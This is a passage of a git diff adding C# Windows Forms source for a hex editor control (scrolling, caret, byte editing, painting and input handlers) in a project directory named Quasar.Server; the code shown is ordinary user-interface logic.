visible or not + /// + [DefaultValue(false), Category("Hex"), Description("Property for the visibility of the vertical scrollbar.")] + public bool VScrollBarVisisble + { + get { return _isVScrollVisible; } + set + { + if (_isVScrollVisible == value) + return; + + _isVScrollVisible = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollVisible = false; + + #endregion + + #endregion + + #region EventHandlers + + [Description("Event that is triggered whenever the hextable has been changed.")] + public event EventHandler HexTableChanged; + + [Description("Event that is triggered whenever the SelectionStart value is changed.")] + public event EventHandler SelectionStartChanged; + + [Description("Event that is triggered whenever the SelectionLength value is changed.")] + public event EventHandler SelectionLengthChanged; + + [Description("Event that is triggered whenever the size of the char is changed.")] + public event EventHandler CharSizeChanged; + + #endregion + + #region Events + + protected void OnVScrollBarScroll(object sender, ScrollEventArgs e) + { + switch (e.Type) + { + case ScrollEventType.SmallIncrement: + ScrollLineDown(1); + break; + case ScrollEventType.SmallDecrement: + ScrollLineUp(1); + break; + case ScrollEventType.LargeIncrement: + ScrollLineDown(_vScrollLarge); + break; + case ScrollEventType.LargeDecrement: + ScrollLineUp(_vScrollLarge); + break; + case ScrollEventType.ThumbTrack: + ScrollThumbTrack(e.NewValue - e.OldValue); + break; + } + Invalidate(); + } + + protected void CaretSelectionStartChanged(object sender, EventArgs e) + { + if (SelectionStartChanged != null) + SelectionStartChanged(this, e); + } + + protected void CaretSelectionLengthChanged(object sender, EventArgs e) + { + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, e); + } + + #region Overriden + + protected override void OnMarginChanged(EventArgs e) + { + base.OnMarginChanged(e); + UpdateRectanglePositioning(); + Invalidate(); + } + + protected override void OnGotFocus(EventArgs e) + { + if (_handler != null) + _handler.OnGotFocus(e); + + UpdateRectanglePositioning(); + Invalidate(); + base.OnGotFocus(e); + } + + protected override void OnLostFocus(EventArgs e) + { + _dragging = false; + DestroyCaret(); + base.OnLostFocus(e); + } + + #endregion + + #endregion + + #region KeyEvents + + protected override bool IsInputKey(Keys keyData) + { + switch (keyData) + { + case Keys.Right: + case Keys.Left: + case Keys.Up: + case Keys.Down: + case Keys.Shift | Keys.Right: + case Keys.Shift | Keys.Left: + case Keys.Shift | Keys.Up: + case Keys.Shift | Keys.Down: + return true; + } + return base.IsInputKey(keyData); + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + if (_handler != null) + _handler.OnKeyPress(e); + + base.OnKeyPress(e); + } + + protected override void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.PageDown) + { + if (!_isVScrollHidden) + { + ScrollLineDown(_vScrollLarge); + Invalidate(); + } + } + else if (e.KeyCode == Keys.PageUp) + { + if (!_isVScrollHidden) + { + ScrollLineUp(_vScrollLarge); + Invalidate(); + } + } + else + { + if (_handler != null) + _handler.OnKeyDown(e); + } + + base.OnKeyDown(e); + } + + protected override void OnKeyUp(KeyEventArgs e) + { + if (_handler != null) + _handler.OnKeyUp(e); + + base.OnKeyUp(e); + } + + #endregion + + #region MouseEvents + + //Indicates if the mouse is currently being dragged or not + private bool _dragging; + + protected override void OnMouseDown(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDown(e); + + if (e.Button == MouseButtons.Left) + { + _dragging = true; + Invalidate(); + } + } + else + { + this.Focus(); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (this.Focused) + { + if (_dragging) + { + if (_handler != null) + _handler.OnMouseDragged(e); + + Invalidate(); + } + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + _dragging = false; + + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseUp(e); + } + + base.OnMouseUp(e); + } + + protected override void OnMouseDoubleClick(MouseEventArgs e) + { + if (this.Focused) + { + if (_handler != null) + _handler.OnMouseDoubleClick(e); + } + + base.OnMouseDoubleClick(e); + } + + #endregion + + #region Caret + + #region Properties + + public int CaretPosX + { + get + { + lock (_caretLock) + { + return _caret.Location.X; + } + } + } + + public int CaretPosY + { + get + { + lock (_caretLock) + { + return _caret.Location.Y; + } + } + } + + public int SelectionStart + { + get + { + lock (_caretLock) + { + return _caret.SelectionStart; + } + } + } + + public int SelectionLength + { + get + { + lock (_caretLock) + { + return _caret.SelectionLength; + } + } + } + + public int CaretIndex + { + get + { + lock (_caretLock) + { + return _caret.CurrentIndex; + } + } + } + + public bool CaretFocused + { + get + { + lock (_caretLock) + { + return _caret.Focused; + } + } + } + + #endregion + + #region Methods + + public void SetCaretStart(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetStartIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public void SetCaretEnd(int index, Point location) + { + location = ScrollToCaret(index, location); + + lock (_caretLock) + { + _caret.SetEndIndex(index); + _caret.SetCaretLocation(location); + } + + Invalidate(); + } + + public bool IsSelected(int byteIndex) + { + lock (_caretLock) + { + return _caret.IsSelected(byteIndex); + } + } + + public void DestroyCaret() + { + lock (_caretLock) + { + _caret.Destroy(); + } + } + + #endregion + + #endregion + + #region HexTable + + #region Properties + + public int HexTableLength + { + get + { + lock (_hexTableLock) + { + return _hexTable.Length; + } + } + } + + #endregion + + #region Methods + + public void RemoveSelectedBytes() + { + int index = SelectionStart; + int length = SelectionLength; + if (length > 0) + { + lock (_hexTableLock) + { + _hexTable.RemoveRange(index, length); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + } + + public void RemoveByteAt(int index) + { + lock (_hexTableLock) + { + _hexTable.RemoveAt(index); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void AppendByte(byte item) + { + lock (_hexTableLock) + { + _hexTable.Add(item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public void InsertByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.Insert(index, item); + } + + UpdateRectanglePositioning(); + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + public char GetByteAsChar(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetCharAt(index); + } + } + + public byte GetByte(int index) + { + lock (_hexTableLock) + { + return _hexTable.GetAt(index); + } + } + + public void SetByte(int index, byte item) + { + lock (_hexTableLock) + { + _hexTable.SetAt(index, item); + } + + Invalidate(); + + if (HexTableChanged != null) + HexTableChanged(this, EventArgs.Empty); + } + + #endregion + + #endregion + + #region Scrollbar + + public void ScrollLineUp(int lines) + { + if (_firstByte > 0) + { + lines = lines > _vScrollPos ? _vScrollPos : lines; + //Scroll up + _vScrollPos -= _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y += _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + } + } + } + } + + public void ScrollLineDown(int lines) + { + if (_vScrollPos <= _vScrollMax - _vScrollLarge) + { + lines = (lines + _vScrollPos) > (_vScrollMax - _vScrollLarge) ? (_vScrollMax - _vScrollLarge) - _vScrollPos + 1 : lines; + //Scroll up + _vScrollPos += _vScrollSmall * lines; + //Update the visible bytes + UpdateVisibleByteIndex(); + UpdateScrollValues(); + //Update the Caret + if (CaretFocused) + { + Point caretLocation = new Point(CaretPosX, CaretPosY); + caretLocation.Y -= _recLineCount.Height * lines; + + lock (_caretLock) + { + _caret.SetCaretLocation(caretLocation); + if (caretLocation.Y < _recContent.Y) + _caret.Hide(this.Handle); + } + } + } + } + + public void ScrollThumbTrack(int lines) + { + if (lines == 0) + return; + + if (lines < 0) + { + ScrollLineUp((-1) * lines); + } + else + { + ScrollLineDown(lines); + } + } + + /// + /// Performs a scroll to the given caretIndex + /// + /// The caret index to scroll to + public Point ScrollToCaret(int caretIndex, Point position) + { + if (position.Y < 0) + { + //Need to scroll up until caret is visible + _vScrollPos -= Math.Abs((position.Y - _recContent.Y) / _recLineCount.Height) * _vScrollSmall; + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = _recContent.Y; + } + } + else if (position.Y > _maxVisibleBytesV * _recLineCount.Height) + { + //Need to scroll down until caret is visible + _vScrollPos += ((position.Y) / _recLineCount.Height - (_maxVisibleBytesV - 1)) * _vScrollSmall; + + if (_vScrollPos > (_vScrollMax - (_vScrollLarge - 1))) + _vScrollPos = (_vScrollMax - (_vScrollLarge - 1)); + + UpdateVisibleByteIndex(); + UpdateScrollValues(); + + if (CaretFocused) + { + position.Y = (_maxVisibleBytesV - 1) * _recLineCount.Height + _recContent.Y; + } + } + return position; + } + + #endregion + + #region Update Actions + + private void UpdateRectanglePositioning() + { + if (ClientRectangle.Width == 0) + return; + + //Start by calculating the size of a char + SizeF charSize; + using (var graphics = this.CreateGraphics()) + { + charSize = graphics.MeasureString("D", Font, 100, _stringFormat); + } + CharSize = new SizeF((float)Math.Ceiling(charSize.Width), (float)Math.Ceiling(charSize.Height)); + + //Set the main content bounds (remove margins) + _recContent = ClientRectangle; + _recContent.X += Margin.Left; + _recContent.Y += Margin.Top; + _recContent.Width -= Margin.Right; + _recContent.Height -= Margin.Bottom; + + //Check if the border is active and decrease the bounds + if (BorderStyle == BorderStyle.Fixed3D) + { + _recContent.X += 2; + _recContent.Y += 2; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + _recContent.X += 1; + _recContent.Y += 1; + _recContent.Width -= 1; + _recContent.Height -= 1; + } + + //Handle if the scrollbar is visible + if (!VScrollBarHidden) + { + _recContent.Width -= _vScrollBarWidth; + _vScrollBar.Left = _recContent.X + _recContent.Width - Margin.Left; + _vScrollBar.Top = _recContent.Y - Margin.Top; + _vScrollBar.Width = _vScrollBarWidth; + _vScrollBar.Height = _recContent.Height; + } + + _recLineCount = new Rectangle(_recContent.X, _recContent.Y, (int)(_charSize.Width * 4), (int)(_charSize.Height) - 2); + + _editView.Update(_recLineCount.X + _recLineCount.Width + _entityMargin / 2, _recContent); + + //Calculate needed maximums for the bytes + _maxBytesH = _bytesPerLine; + _maxBytesV = (int)Math.Ceiling(((float)_recContent.Height / (float)_recLineCount.Height)); + _maxBytes = _maxBytesH * _maxBytesV; + _maxVisibleBytesV = (int)Math.Floor(((float)_recContent.Height / (float)_recLineCount.Height)); + + UpdateScrollBarSize(); + } + + private void UpdateVisibleByteIndex() + { + if (_hexTable.Length == 0) + { + _firstByte = 0; + _lastByte = 0; + } + else + { + _firstByte = _vScrollPos * _maxBytesH; + _lastByte = (int)Math.Min(HexTableLength, _firstByte + _maxBytes); + } + } + + private void UpdateScrollValues() + { + if (!_isVScrollHidden) + { + _vScrollBar.Minimum = _vScrollMin; + _vScrollBar.Maximum = _vScrollMax; + _vScrollBar.Value = _vScrollPos; + + _vScrollBar.SmallChange = _vScrollSmall; + _vScrollBar.LargeChange = _vScrollLarge; + + _vScrollBar.Visible = true; + } + else + { + _vScrollBar.Visible = false; + } + } + + private void UpdateScrollBarSize() + { + if (VScrollBarVisisble && _maxVisibleBytesV > 0 && _maxBytesH > 0) + { + //Holds the size of a page (number of rows per page) + int largeScroll = _maxVisibleBytesV; + //Holds the row size (1) + int smallScroll = 1; + //Holds the minimum value of the scrollbar + int minScroll = 0; + //Holds the maximum value of the scrollbar + int maxScroll = HexTableLength / _maxBytesH; + //Holds the current positon on the scrollbar + int posScroll = _firstByte / _maxBytesH; + + if (largeScroll != _vScrollLarge || smallScroll != _vScrollSmall) + { + _vScrollLarge = largeScroll; + _vScrollSmall = smallScroll; + } + + if (maxScroll >= largeScroll) + { + if (maxScroll != _vScrollMax || posScroll != _vScrollPos) + { + _vScrollMin = minScroll; + _vScrollMax = maxScroll; + _vScrollPos = posScroll; + } + + VScrollBarHidden = false; + + UpdateScrollValues(); + } + else + { + VScrollBarHidden = true; + } + } + else + { + VScrollBarHidden = true; + } + } + + #endregion + + #region Constructor + + public HexEditor() + : this(new ByteCollection()) + { } + + public HexEditor(ByteCollection collection) + { + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + + //Set the provided byte collection + _hexTable = collection; + + //Set the vertical scrollbar + _vScrollBar = new VScrollBar(); + _vScrollBar.Scroll += new ScrollEventHandler(OnVScrollBarScroll); + + //Redraw whenever the control is resized + SetStyle(ControlStyles.ResizeRedraw, true); + + //Enable double buffering + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + + //Enable selectable + SetStyle(ControlStyles.Selectable, true); + + //Handle initialization of Caret + _caret = new Caret(this); + _caret.SelectionStartChanged += new EventHandler(CaretSelectionStartChanged); + _caret.SelectionLengthChanged += new EventHandler(CaretSelectionLengthChanged); + + //Create the needed edit view + _editView = new EditView(this); + _handler = _editView; + + //Set defualt cursor + this.Cursor = Cursors.IBeam; + } + + #endregion + + #region Boundary Calculator + + private RectangleF GetLineCountBound(int index) + { + RectangleF ret = new RectangleF( + _recLineCount.X, + _recLineCount.Y + (_recLineCount.Height * index), + _recLineCount.Width, + _recLineCount.Height + ); + + return ret; + } + + #endregion + + #region OnPaint - Functions + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + + if (BorderStyle == BorderStyle.Fixed3D) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder3D(pevent.Graphics, ClientRectangle, Border3DStyle.Sunken); + } + else if (BorderStyle == BorderStyle.FixedSingle) + { + SolidBrush brush = new SolidBrush(BackColor); + Rectangle rect = ClientRectangle; + pevent.Graphics.FillRectangle(brush, rect); + ControlPaint.DrawBorder(pevent.Graphics, ClientRectangle, BorderColor, ButtonBorderStyle.Solid); + } + else + { + base.OnPaintBackground(pevent); + } + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + + Region r = new Region(ClientRectangle); + r.Exclude(_recContent); + e.Graphics.ExcludeClip(r); + + UpdateVisibleByteIndex(); + + PaintLineCount(e.Graphics, _firstByte, _lastByte); + + _editView.Paint(e.Graphics, _firstByte, _lastByte); + } + + private void PaintLineCount(Graphics g, int startIndex, int lastIndex) + { + SolidBrush brush = new SolidBrush(ForeColor); + + for (int i = 0; ((i * _maxBytesH) + startIndex) <= lastIndex; i++) + { + RectangleF drawSurface = GetLineCountBound(i); + string lineCount = (startIndex + (i * _maxBytesH)).ToString(_lineCountCaps); + //Calculate how many '0' need to be added to the current count + int zeros = _nrCharsLineCount - lineCount.Length; + + string lineStr; + if (zeros > -1) + { + lineStr = new string('0', zeros) + lineCount; + } + else + { + lineStr = new string('~', _nrCharsLineCount); + } + g.DrawString(lineStr, Font, brush, drawSurface, _stringFormat); + } + } + + #endregion + + #region OnRezie + + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + + UpdateRectanglePositioning(); + Invalidate(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs new file mode 100755 index 0000000..cc57191 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -0,0 +1,442 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class HexViewHandler + { + #region Fields + + bool _isEditing; + + /// + /// Contains info about how to + /// present the hex values + /// (Upper or Lower case) + /// + string _hexType = "X2"; + + /// + /// Contains the boundary for one single + /// hexa value that is visible + /// + Rectangle _recHexValue; + + /// + /// Contains the format of the hexadecimal + /// strings that are presented + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recHexValue.X + (_recHexValue.Width * _editor.BytesPerLine); } + } + + #endregion + + #region Constructor + + public HexViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the hex values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region Method + + #region KeyMouseEvents + + #region KeyEvents + + public void OnKeyPress(KeyPressEventArgs e) + { + if (IsHex(e.KeyChar)) + HandleUserInput(e.KeyChar); + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + if (_isEditing) + { + //Remove the byte that is being edited + index = _editor.CaretIndex; + } + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + _isEditing = false; + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index = _editor.HexTableLength; + HandleArrowKeys(index, e.Shift); + } + else + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height); + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.HexTableLength) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point position = GetCaretLocation(index); + + if (isShiftDown) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + _isEditing = false; + } + + #endregion + + #region MouseEvent + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + _isEditing = false; + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recHexValue.X) / _recHexValue.Width; + int iY = (y - _recHexValue.Y) / _recHexValue.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + (iY * _editor.BytesPerLine)); + + int xPos = (iX * _recHexValue.Width) + _recHexValue.X; + int yPos = (iY * _recHexValue.Height) + _recHexValue.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #endregion + + #region PaintMethod + + public void Update(int startPositionX, Rectangle area) + { + _recHexValue = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * 3), + (int)(_editor.CharSize.Height) - 2 + ); + + _recHexValue.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(hexValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawSurface = GetBound(point); + string hexValue = _editor.GetByte(index).ToString(_hexType); + + g.DrawString(hexValue, _editor.Font, brush, drawSurface, _stringFormat); + } + + #endregion + + public void SetLowerCase() + { + _hexType = "x2"; + } + + public void SetUpperCase() + { + _hexType = "X2"; + } + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recHexValue.X + (_recHexValue.Width * (index % _editor.BytesPerLine)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + //Perform overwrite + HandleUserRemove(); + + if (_isEditing) + { + //Editing has already started, should change the second nibble + _isEditing = false; + //Load old bytes to allow change + byte oldByte = _editor.GetByte(_editor.CaretIndex); + //Append the new nibble + oldByte += Convert.ToByte(key.ToString(), 16); + _editor.SetByte(_editor.CaretIndex, oldByte); + //Relocate the caret + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + + } + else + { + //Begin new edit phase + _isEditing = true; + string hexByte = key.ToString() + "0"; + byte newByte = Convert.ToByte(hexByte, 16); + + if (_editor.HexTable.Length <= 0) + { + _editor.AppendByte(newByte); + } + else + { + _editor.InsertByte(_editor.CaretIndex, newByte); + } + + //Relocate the caret to the middle of the hex value (provide illusion of editing the second value) + int xPos = (_recHexValue.X + (_recHexValue.Width * ((_editor.CaretIndex) % _editor.BytesPerLine)) + (_recHexValue.Width / 2)); + int yPos = _recHexValue.Y + (_recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + _editor.SetCaretStart(_editor.CaretIndex, new Point(xPos, yPos)); + } + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recHexValue.X + (point.X * _recHexValue.Width), + _recHexValue.Y + (point.Y * _recHexValue.Height), + _recHexValue.Width, + _recHexValue.Height + ); + + return ret; + } + + private bool IsHex(char c) + { + return (c >= 'a' && c <= 'f') || + (c >= 'A' && c <= 'F') || + Char.IsDigit(c); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs new file mode 100755 index 0000000..7121208 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -0,0 +1,24 @@ +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public interface IKeyMouseEventHandler + { + void OnKeyPress(KeyPressEventArgs e); + + void OnKeyDown(KeyEventArgs e); + + void OnKeyUp(KeyEventArgs e); + + void OnMouseDown(MouseEventArgs e); + + void OnMouseDragged(MouseEventArgs e); + + void OnMouseUp(MouseEventArgs e); + + void OnMouseDoubleClick(MouseEventArgs e); + + void OnGotFocus(EventArgs e); + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs new file mode 100755 index 0000000..125e133 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -0,0 +1,382 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class StringViewHandler + { + #region Field + + /// + /// Contains the boundary of + /// a single line + /// + Rectangle _recStringView; + + /// + /// Contains the format of the + /// string to be used in the + /// string view + /// + StringFormat _stringFormat; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int MaxWidth + { + get { return _recStringView.X + _recStringView.Width; } + } + + #endregion + + #region Constructor + + public StringViewHandler(HexEditor editor) + { + _editor = editor; + + //Set String format for the values + _stringFormat = new StringFormat(StringFormat.GenericTypographic); + _stringFormat.Alignment = StringAlignment.Center; + _stringFormat.LineAlignment = StringAlignment.Center; + } + + #endregion + + #region KeyMouseEvents + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (!Char.IsControl(e.KeyChar)) + { + HandleUserInput(e.KeyChar); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back) + { + if (_editor.SelectionLength > 0) + { + //Remove the selected bytes + HandleUserRemove(); + int index = _editor.CaretIndex; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete) + { + //Remove the byte after the caret + _editor.RemoveByteAt(_editor.CaretIndex); + Point newLocation = GetCaretLocation(_editor.CaretIndex); + _editor.SetCaretStart(_editor.CaretIndex, newLocation); + } + else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back) + { + //Remove byte before the caret + int index = _editor.CaretIndex - 1; + _editor.RemoveByteAt(index); + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + } + else if (e.KeyCode == Keys.Up && (_editor.CaretIndex - _editor.BytesPerLine) >= 0) + { + int index = _editor.CaretIndex - _editor.BytesPerLine; + + //Check ig caret is att the end of the line + if (index % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width) + { + Point position = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height); + + //check that this is not the last row (nothing above) + if (index == 0) + { + //Last row do not change index and position + position = new Point(_editor.CaretPosX, _editor.CaretPosY); + index = _editor.BytesPerLine; + } + + if (e.Shift) + _editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + else + { + HandleArrowKeys(index, e.Shift); + } + } + else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine) + { + int index = _editor.CaretIndex + _editor.BytesPerLine; + + if (index > _editor.HexTableLength) + { + index 